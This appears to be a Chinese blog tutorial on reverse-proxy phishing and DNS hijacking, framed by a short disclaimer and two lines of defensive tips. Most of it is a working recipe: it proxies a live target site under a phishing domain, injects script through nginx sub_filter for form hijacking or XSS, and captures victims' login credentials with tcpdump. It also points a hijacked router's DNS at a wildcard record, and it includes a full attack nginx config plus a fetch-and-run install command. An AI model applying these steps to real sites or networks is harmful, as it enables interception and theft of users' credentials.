免责声明:
注意:所谓知己知彼 百战百胜,只有了解攻击者的方法,我们才有相对的防御措施。
本教程为了直观演示,模拟黑客进行渗透测试,请勿在未取得对方授权的情况下使用本教程方法进行渗透测试。
否则产生的一切后果自负。
前言:
最近在研究nginx反代和dns相关的技术,由于喜欢折腾就自己走了一遍流程,记录了整个过程。
反代后能做什么?
能做的就很多了,比如你可以作为中间人,插入个js钓鱼,或者抓包获取敏感信息等等。
0x00 环境要求:
- nginx服务器一台(境外)
- dns服务器一台
- 目标dns修改权限
0x01 反代服务器搭建:
首先nginx的服务器最好是境外的,系统为centos7。
ssh登录上去以后,运行以下代码安装宝塔控制面板。
yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && bash install.sh
安装完成以后,登录宝塔控制面板,首次登录时会提醒你安装环境套件。
选择安装nginx套件

安装完成以后,新建一个站点,输入你的钓鱼域名,其他不用设置,直接保存。

设置反向代理,填写反代的目标ip或者域名。
我这里是随便在fofa上搜索了一个ecshop的演示站点。


设置好了以后,我们访问下钓鱼域名看看是否成功。

无法访问,这里我自己排查了是因为host的问题,我们去修改下配置文件就行了。
因为宝塔的编辑器有点问题,我们直接按下f12,然后点击配置文件看看路径吧。


把返回包里面的路径复制到这里打开就能找到反代配置文件

把配置文件里面的$host修改成反代的ip地址就行了。
proxy_set_header Host $host;
修改后
proxy_set_header Host "116.62.147.*";

我们再次刷新看看,发现css和js等都挂了。
这是因为我们反代的目标调用了第三方文件导致的。

解决方法就是继续修改配置文件,在底部添加如下代码。
location ~ .*\.(js|css|png|gif|jpg)$ {
proxy_pass http://116.62.147.*;#解决反代的目标无法加载第三方css和图片等等
}
重新刷新访问看看,已经正常了。

现在我们尝试中间人攻击,加入一个js试试。
后面我会附上完整的反代配置文件。

可以看到我们的js代码已经成功替换了进去。

这里就可以发挥你的想象啦,劫持表单或者挂个广告,xss等等都可以。
也可以替换网页内的其他内容,比如我们要替换他的导航条上的 “首页”

首页被替换前:

替换后:

0x02 反代获取敏感信息:
反代后获取敏感信息的方法有很多。
- 劫持表单
- XSS
- 在反代服务器上抓包
第一种比较简单,但是也有一定的局限性。
详见这里:传送门
第二种方法我想不用说了,如我前面所说,替换一个xss payload上去就行了。
第三种方法网络上很少提到这种方法,我个人脑子一热想出来的骚姿势。
操作如下:
首先ssh登陆你的反代服务器
安装必备库
yum install flex
yum install bison
yum install gcc
安装tcpdump
yum install tcpdump
安装好了以后执行以下命令开始抓包。
tcpdump -i eth0 port 80 -t -w /home/tcpdump.pcap
现在我们模拟受害者去登录下看看

登录以后,ssh可以停止抓包了,去宝塔的文件管理下,找到我们的抓包文件。
如果文件太大的话,点下后面的压缩 然后下载回来。

下载到本地后,用Wireshark打开抓包文件。
通过数据包抓包记录里面发现已经抓到了刚刚登录的账号密码。
如果对方是个管理员的话,已经拿到了管理员账号密码啦。

0x03 DNS代理服务器搭建
在很多情况下,我们拿到了路由器控制权,但是无法拿到内网的一点信息。
这时候修改dns然后劫持到钓鱼网站就派上用场了。
这里我使用的是win 2008 r2来搭建dns。
首先打开 服务器管理器
添加角色,添加dns服务器

这里因为我服务器是动态ip,所以有这个提示,不用理会。

然后一路下一步就行了,安装好了以后,在正向查找区域上右键。
新建区域

下一步

输入你要劫持的域名,以我博客为例。

一直保持默认,下一步就行了。

然后在你劫持的域名上右键,新建主机A记录。

名称输入* ip地址输入我们的nginx反代服务器ip。

现在我们修改下本机的dns来测试下。
打开本地连接 修改dns为我们刚刚搭建好的dns服务器ip。

改完以后访问我的博客测试,发现无法访问。

这是因为我们的反代服务器上没有绑定jasonx.cc这个域名。
去宝塔里面绑定下就行了。

再次刷新发现已经被劫持到反代服务器上了,接下来可以使用上面提到的几种方法来做中间人攻击。
当然你可以发挥想象,想怎么玩都可以了。



后记:
针对dns劫持,我们可以定期检查路由器的dns是否被修改,检查dhcp的dns设置。
针对反代,可以给自己的网站上ssl。
附上Nginx配置文件
#PROXY-START/
location /
{
expires 12h;
if ($request_uri ~* "(php|jsp|cgi|asp|aspx|htm|html)")
{
expires 0;
}
proxy_pass http://116.62.147.*;#目标域名或者ip
proxy_set_header Host "116.62.147.*";
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header REMOTE-HOST $remote_addr;
#持久化连接相关配置
#proxy_connect_timeout 30s;
#proxy_read_timeout 86400s;
#proxy_send_timeout 30s;
#proxy_http_version 1.1;
#proxy_set_header Upgrade $http_upgrade;
#proxy_set_header Connection "upgrade";
proxy_set_header Accept-Encoding "";
sub_filter_types text/html;
sub_filter "首页" "我靠 首页被替换了<script>alert('我博客被劫持到这里来了')</script>";#这是替换内容
sub_filter_once off;
proxy_cache cache_one;
proxy_cache_key $host$uri$is_args$args;
proxy_cache_valid 200 304 301 302 1m;
add_header X-Cache $upstream_cache_status;
}
location ~ .*\.(js|css|png|gif|jpg)$ {
proxy_pass http://116.62.147.*;#解决反代的目标无法加载第三方css和图片等等
}
#PROXY-END/